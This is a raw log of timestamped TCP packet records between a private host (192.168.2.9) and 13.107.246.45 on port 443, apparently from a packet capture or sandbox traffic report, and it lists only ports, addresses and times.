Nov 20, 2024 10:20:30.964207888 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.964298964 CET	49948	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.964483976 CET	49948	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.964498997 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.002042055 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.002928972 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.002969027 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.003330946 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.003338099 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.064943075 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.065814018 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.065840006 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.066209078 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.066214085 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.104576111 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.104685068 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.105112076 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.105112076 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.105112076 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.108297110 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.108351946 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.108442068 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.108616114 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.108628035 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.172929049 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.173125029 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.173180103 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.173368931 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.173410892 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.173429012 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.173441887 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.173448086 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.176970959 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.177015066 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.177126884 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.177341938 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.177355051 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.412925959 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.412957907 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.585658073 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.590907097 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.590933084 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.590996981 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.596438885 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.596450090 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.599988937 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.600003958 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.618237972 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.618551970 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.618566036 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.633428097 CET	49948	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.633455992 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.637849092 CET	49948	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.637856007 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.694700003 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.694863081 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.695055008 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.706886053 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.706912041 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.706924915 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.706932068 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.713972092 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.714176893 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.714231014 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.714241028 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.714289904 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.719585896 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.719604969 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.719616890 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.719623089 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.730645895 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.730690956 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.730758905 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.738281965 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.738322020 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.738393068 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.739124060 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.739684105 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.739748001 CET	49948	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.740612030 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.740629911 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.740871906 CET	49948	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.740890980 CET	443	49948	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.751593113 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.751621008 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.756015062 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.756055117 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.756117105 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.756381035 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.756393909 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.756768942 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.757230043 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.757245064 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.757666111 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.757669926 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.822549105 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.823146105 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.823167086 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.823697090 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.823703051 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.867063046 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.867218971 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.867268085 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.867274046 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.867335081 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.867449999 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.867475033 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.867490053 CET	49949	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.867496014 CET	443	49949	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.870507002 CET	49954	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.870554924 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.870625973 CET	49954	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.870779991 CET	49954	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.870791912 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.932459116 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.932674885 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.932743073 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.932790041 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.932806015 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.932816982 CET	49950	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.932822943 CET	443	49950	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.935715914 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.935761929 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:31.935837030 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.935992002 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:31.936002970 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.382905006 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.383683920 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.383713961 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.384084940 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.384089947 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.398227930 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.398888111 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.398915052 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.399431944 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.399441957 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.405028105 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.405410051 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.405433893 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.405777931 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.405781984 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.485867023 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.485949039 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.486129999 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.486324072 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.486347914 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.486361980 CET	49951	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.486370087 CET	443	49951	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.489906073 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.489959955 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.490067959 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.490262032 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.490276098 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.512204885 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.512274027 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.512451887 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.512825966 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.512825966 CET	49952	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.512845993 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.512856960 CET	443	49952	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.515500069 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.515984058 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.516031981 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.516113997 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.516292095 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.516302109 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.522336960 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.522398949 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.522401094 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.522454977 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.522528887 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.522547960 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.522561073 CET	49953	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.522567034 CET	443	49953	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.525262117 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.525302887 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.525407076 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.525574923 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.525587082 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.532478094 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.533047915 CET	49954	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.533068895 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.533528090 CET	49954	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.533533096 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.624908924 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.625632048 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.625672102 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.625935078 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.625951052 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.634499073 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.634691000 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.634758949 CET	49954	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.634799004 CET	49954	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.634816885 CET	443	49954	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.638806105 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.638854980 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.638923883 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.639092922 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.639101982 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.733963013 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.734051943 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.734106064 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.734323025 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.734343052 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.734354973 CET	49955	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.734361887 CET	443	49955	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.737564087 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.737648010 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:32.737757921 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.737938881 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:32.737967014 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.138602018 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.139142990 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.139177084 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.139642954 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.139656067 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.151551008 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.152081013 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.152092934 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.152543068 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.152548075 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.168638945 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.169188023 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.169219971 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.169706106 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.169717073 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.240978003 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.241082907 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.241158009 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.241461992 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.241461992 CET	49956	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.241487026 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.241501093 CET	443	49956	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.244512081 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.244558096 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.244649887 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.244807005 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.244817019 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.253407001 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.253478050 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.253678083 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.253742933 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.253755093 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.253762960 CET	49957	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.253767967 CET	443	49957	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.256586075 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.256633997 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.256722927 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.256865978 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.256877899 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.269126892 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.269300938 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.269457102 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.269634962 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.269634962 CET	49958	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.269659996 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.269678116 CET	443	49958	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.272769928 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.272806883 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.272871971 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.272993088 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.273000002 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.295093060 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.295965910 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.296001911 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.296513081 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.296520948 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.312536955 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.313015938 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.313045979 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.313404083 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.313409090 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.397699118 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.398123026 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.398200989 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.398242950 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.398262978 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.398273945 CET	49960	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.398281097 CET	443	49960	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.401259899 CET	49964	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.401352882 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.401443958 CET	49964	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.401586056 CET	49964	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.401616096 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.433553934 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.433634996 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.433865070 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.433903933 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.433918953 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.433928967 CET	49959	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.433934927 CET	443	49959	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.436847925 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.436929941 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.437015057 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.437161922 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.437190056 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.882790089 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.887018919 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.887032986 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.887464046 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.887469053 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.893938065 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.894818068 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.894851923 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.895169020 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.895179987 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.939702988 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.943080902 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.943113089 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.943505049 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.943509102 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.984281063 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.984874010 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.984929085 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.984992027 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.985018015 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:33.994323969 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.994432926 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:33.994730949 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.001538992 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.001560926 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.001594067 CET	49961	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.001600981 CET	443	49961	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.004920006 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.004951000 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.004988909 CET	49962	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.004995108 CET	443	49962	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.041155100 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.041234016 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.041347027 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.041399002 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.041416883 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.045975924 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.045988083 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.046015024 CET	49963	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.046019077 CET	443	49963	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.050162077 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.082927942 CET	49964	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.083005905 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.083379984 CET	49964	443	192.168.2.9	13.107.246.45
